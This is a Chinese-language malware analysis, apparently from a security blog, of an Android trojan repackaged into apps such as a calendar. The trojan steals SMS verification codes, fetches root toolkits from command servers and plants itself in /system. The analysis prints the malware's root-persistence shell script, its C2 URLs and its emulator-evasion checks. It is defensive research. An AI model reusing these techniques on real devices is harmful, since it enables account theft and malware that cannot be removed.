<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/9538

            作者:逆巴,[email protected]

            0x01 木馬介紹


            攻擊者將木馬制作成用戶剛需應用,如色情類、生活服務類,或將惡意代碼通過二次打包,注入到合法的應用當中,偽裝成為合法應用,上傳到android市場或某些論壇,誘導用戶下載。一旦用戶下載運行了此類應用,木馬通過云端推送root 工具包,以及惡意應用;通過短信提取動態密碼,第一時間發送給木馬作者,直接造成財產損失、隱私泄露等;木馬創建不死服務,后臺root設備,成功root后將 惡意應用植入系統分區,用戶即使恢復出廠設置也無法完全卸載木馬。具體執行過程如下圖:

            圖木馬執行流程

            被感染應用以及惡意樣本數量過千類,以下列出“萬年歷,清澀笑話,特實惠, 魅力女生動態桌面,開心樂消消-歡樂版,內涵壁紙,開心樂消消,全網充話費,極致腿模,好聽音樂,HoloTorch,情趣內涵電臺,Accurate Battery,Super Silent,心情天氣”

            圖木馬圖標

            0x02 樣本行為分析


            樣本存在大量變種,以下對“偽萬年歷”樣本進行行為分析。木馬將惡意代碼打包入正常應用。啟動“偽萬年歷”應用后,進入正常的日歷界面,而應用的Application 類作為惡意代碼入口點。

            圖“偽萬年歷”應用啟動界面

            2.1監聽短信彩信,獲取動態驗證碼

            提取短信中的動態密碼,第一時間轉發到指定號碼并截斷短信發送,這樣用戶將在不之情的情況下,大量賬號被盜。攔截用戶短信彩信,提取到的動態密碼以及手機信息發送到云端服務器。直接造成財產損失,隱私泄露。

            木馬動態注冊短信監聽廣播,通過類加載反射等技術進行具體的監控操作。當觸發短信消息事件時,木馬會動態加載myjar.jar,反射調用smscheck函數。

            圖動態注冊廣播監聽短信消息

            圖動態加載dex,反射調用smscheck函數

            圖提取動態密碼代碼

            對smscheck函數分析,發現若攔截到的短信中存在動態密碼,病毒會第一時間發送給指定號碼,同時會將動態密碼,以及當前手機信息作為參數post提交到云端服務器。也就是木馬作者通過用戶手機號碼找回密碼,這樣輕松的盜取用戶賬號密碼,而中馬用戶完全不知曉。

            圖將動態密碼發送到指定手機

            圖將攔截到短信發送到指定服務器

            接下來過濾短信發送者,將短信內容,發送者手機號碼,以及手機imsi等發post到指定服務器

            跟蹤發現服務器目錄,存放了中馬手機信息以及root手機的工具

            圖服務器目錄文件

            2.2啟動LocationService

            a 監聽廣播,觸發云端交互,下載root 工具包和推廣的惡意應用

            LocationService開啟任務線程,在任務線程里動態注冊廣播,監聽網絡變化,屏幕喚醒鎖屏,應用安裝卸載跟新等,監控廣播做為病毒行為觸發點。獲取手機信息做為post參數,上傳到云端服務器。 (android.net.conn.CONNECTIVITY_CHANGE,android.intent.action.USER_PRESENT,android.intent.action.SCREEN_OFF,android.intent.action.SCREEN_ON,android.intent.action.PACKAGE_ADDED,android.intent.action.PACKAGE_CHANGED, android.intent.action.PACKAGE_REPLACED,android.intent.action.PACKAGE_REMOVED)

            接下來對病毒下載云端root 工具的分析。木馬首先向服務器post手機的imei、imsi、分辨率、手機號等基本信息,服務器返回加密的url指令,解碼url獲取下載Root手機所需的busybox、su、install-recovery.sh等工具

            圖post 手機信息到服務器(http://api.wangyan9488.com:8285/api/getShell.jsp),返回加密url

            圖服務器返回的加密url

            圖shellv5.jar 里的文件 root 工具包

            木馬本地解密url,獲取到root 工具下載源(http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar),下載到手機后改名為“shellv5.jar”,其實是一壓縮包

            采用同樣的過程下載root sdk,訪問服務器http://api.wangyan9488.com:8287/api/getAttach.jsp,獲取加密url

            圖加密root sdk url

            木馬解密url,獲取下載源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下載jar文件,下載到手機后改名為“dlv5.jar”。通過動態加載該文件中的dex文件,同時利用之前下載的工具獲取Root權限,隨后將同名文件名的apk文件植入到/system/app/下并安裝。該apk偽裝成系統“下載服務”,而自身是與母樣本偽萬年歷相同行為的木馬。

            b 強制激活設備管理,防止卸載

            利用設備管理器缺陷,在取消激活設備管理之前,DevicePolicyManagerService會調用應用的onDisableRequested方法獲取取消激活的警示信息。下圖可以發現病毒在發現取消激活時,會進行屏幕鎖屏之后進入系統setting 頁面,這樣一旦用戶激活設備將無法卸載。

            圖取消設備管理時屏幕鎖屏

            c 最后啟動另外一個核心服務blueService

            圖啟動BlueService服務

            2.3 blueService服務

            a 強制安裝ANDROID_SCREEN_ON_OFF.apk應用

            偽裝成系統“下載管理”應用,同樣通過post手機信息到云端服務器,get加密后的url,然后本地解密url獲取下載推廣的應用。同樣的代碼模塊激活設備管理防止卸載。

            圖“下載管理”應用

            圖“下載管理”激活設備管理

            b root 手機

            下圖為BlueService服務的任務線程,紅色框動態注冊RootReciver,當網絡發生變化或手機鎖屏喚醒時,在后臺嘗試root。

            圖blueService服務任務線程代碼

            檢測14425728404326709.apk是否被安裝,其實這是root之后安裝到系統目錄下的文件,root的最終目的就是將惡意應用植入system目錄,偽裝成系統應用,長期駐留用戶設備。木馬通過DexClassLoader加載云端配置的rootDex,隨后反射調用getDex 函數進行root工作。下圖動態加載dex,反射調用getDex

            圖動態加載dex,反射調用getDex

            將云端下載到sdcard/.xxx目錄里的busybox,su 拷貝到應用文件目錄,創建aa.xml文件表示開始進行root 工作。下圖創建開始root文件

            圖創建開始root的flag文件

            將云端下載在xxx目錄下的root 工具,拷貝到data/files目錄下,并在files目錄下創建psneuter.js

            圖拷貝root 工具

            root成功后將14425728404326709.apk 安裝到system/app目錄并啟動該應用。動態攔截發現,本次分析下載的root sdk 工具包,應該是刷機大師的MTK ROOT方案。由于云端配置靈活,下載獲取的root工具包靈活(根據手機版本等信息,下載不同root工具包)。

            圖root 手機代碼

            圖動態攔截返回

            1. suc f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh psneuter.js
            2. suc al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh psneuter.js
            3. suc HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh psneuter.js

            成功root后執行psneuter.js,木馬將成功偽裝成系統應用隱藏在用戶手機,即使恢復出廠設置也無法卸載。

            psneuter.js文件內容

            #!bash
            #!/system/bin/sh
            mount -o rw,remount /system
            /data/local/tmp/busybox mount -o rw,remount /system
            cat /data/local/tmp/14425728404326709.apk > /system/app/14425728404326709.apk
            chmod 0644 /system/app/14425728404326709.apk
            pm install /system/app/14425728404326709.apk
            mount -o ro,remount /system
            /data/local/tmp/busybox mount -o ro,remount /system
            echo "Now, script finish!”
            

            圖 root成功木馬偽裝系統軟件“下載服務”

            c 不死服務LocationService, BlueService

            只要保證兩大核心服務LocationService,BlueService 不死,就可以一直在后臺執行惡意代碼。木馬在啟動核型服務LocationService,BlueService的同時,會注冊守護廣播,保證核心服務一直啟動。

            圖啟動LocationService服務同時注冊守護廣播

            守護服務的廣播,通過監聽屏幕開關、手機電量變化、時間更改,啟動被保護的服務。

            圖守護廣播監聽的消息

            0x03 變種追蹤


            該樣本存在大量變種,且都是由LocationService,BlueService核心服務演變而來,從最開始的惡意應用推廣到云端root sdk配置,升級到通過短信盜號,對抗殺軟檢測在native層檢測運行環境等。

            對變種木馬“內涵壁紙”樣本分析,首先在native層檢查運行環境,若不是模擬器才啟動惡意廣播。這樣有效的躲避了動態引擎檢測,以及逆向分析人員分析。

            圖native層啟動惡意廣播

            模擬器檢查,若木馬運行環境在模擬器內,木馬將不會啟動惡意廣播。模擬檢查主要檢查cpuinfo是否為goldfish,設備IDS是不是 “000000000000000”, imsi id是不是“310260000000000“,手機運營商等。

            圖模擬器檢測

            0x04 建議和解決方案


            1. 使用加固手段增加被惡意者二次打包的成本:如使用阿里聚安全應用加固方案,無需開發者修改源代碼或者二次開發,通過加殼,加密,邏輯混淆,代碼隱藏等各類應用加固方法,防止應用被逆向分析,反編譯,以及二次打包嵌入各類病毒廣告等惡意代碼。

            2. 用戶下載應用請到官方網站或安全應用市場,切勿點擊任何色情鏈接,尤其是短信、QQ、微信等聊天工具中不熟識的“朋友”發來的鏈接。

            3. 如果不確定手機是否毒,可以安裝阿里錢盾等手機安全軟件,對手機上的應用進行檢測,防止高風險惡意應用的安裝。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线